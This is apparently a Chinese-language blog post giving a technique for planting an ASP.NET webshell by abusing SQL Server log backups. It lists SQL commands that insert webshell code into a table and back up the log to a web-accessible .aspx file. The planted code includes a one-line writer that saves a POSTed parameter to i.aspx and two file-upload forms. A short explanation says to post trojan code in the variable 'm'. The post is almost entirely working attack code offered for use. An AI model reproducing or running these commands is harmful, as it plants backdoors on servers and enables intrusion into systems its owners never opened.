ASP.NET備份db日誌獲得webshell

  alter database pubs set RECOVERY FULL
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:/TM' with init
insert into pubs.dbo.cmd(a) values ('<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("i.aspx"),false);ow.Write(Request.Params["m"]);ow.Close()%> ')
backup log pubs to disk = 'd:/haha.aspx'

這個和asp的一樣,客戶端post一個變量m把木馬代碼丟在變量m裏面就行了。這個是類似asp的一句話木馬的。 
網上的asp.net的上傳文件程序
drop table pubs.dbo.cmd
alter database pubs set RECOVERY FULL
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:/TM' with init
insert into pubs.dbo.cmd(a) values ('<script language="c#" runat="server">private void bc(object o,EventArgs e) {string u="files";string filename;int pos=f.PostedFile.FileName.LastIndexOf("//");filename=f.PostedFile.FileName.Substring(pos + 1);f.PostedFile.SaveAs(Server.MapPath(u)+"//"+filename);}</script><form method="post" runat="server"><input type="file" id="f" runat="server"/><input type="submit" value="ss" runat="Server" OnServerClick="bc" /></form>')
backup log pubs to disk = 'c:/inetpub/wwwroot/ha.aspx'

加入錯誤捕獲
drop table pubs.dbo.cmd
alter database pubs set RECOVERY FULL
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:/T ' with init
insert into pubs.dbo.cmd(a) values ('<script language="c#" runat="server">private void bp(object o,EventArgs e) {string u="files";string filename;try {int pos = f.PostedFile.FileName.LastIndexOf("//");if (pos > 0) filename = f.PostedFile.FileName.Substring(pos + 1);else filename = f.PostedFile.FileName;Response.Write(Server.MapPath(u) + "//" + filename);f.PostedFile.SaveAs(Server.MapPath("filename"));} catch (Exception ex) {Response.Write("Error: " + ex.Message.ToString());}}</script><form method="post" runat="server"><input type="file" id="f" runat="server" size="50"/><input type="submit" value="s" runat="Server" OnServerClick="bp" /></form>')
backup log pubs to disk = 'd:/haha2.aspx'
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章